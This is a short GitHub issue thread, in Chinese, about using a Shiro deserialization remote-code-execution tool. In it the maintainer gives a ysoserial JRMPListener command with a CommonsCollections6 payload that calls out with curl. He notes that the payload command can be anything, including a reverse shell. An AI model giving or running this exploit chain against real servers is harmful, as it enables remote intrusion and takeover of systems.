JRMPClient command example: xx.xx.xx.xx:8888

wyzxxz / shiro_rce_tool

shiro 反序列命令执行辅助检测工具

1.35k stars 181 forks source link

Open banhongwei1314 opened 3 years ago

banhongwei1314 commented 3 years ago

大佬，这个命令实例要怎么使用呢？

wyzxxz commented 3 years ago

配合 java -cp ysoserial6.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections6 "curl log.cn"

banhongwei1314 commented 3 years ago

配合java -cp ysoserial6.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections6“ curl log.cn” 谢谢

safebaseline commented 3 years ago

“ curl log.cn”看不懂！这个是起个服务端吗！！

wyzxxz commented 3 years ago

“ curl log.cn”看不懂！这个是起个服务端吗！！

这个是要执行的命令，写touch /tmp/1也行，写反弹shell的也行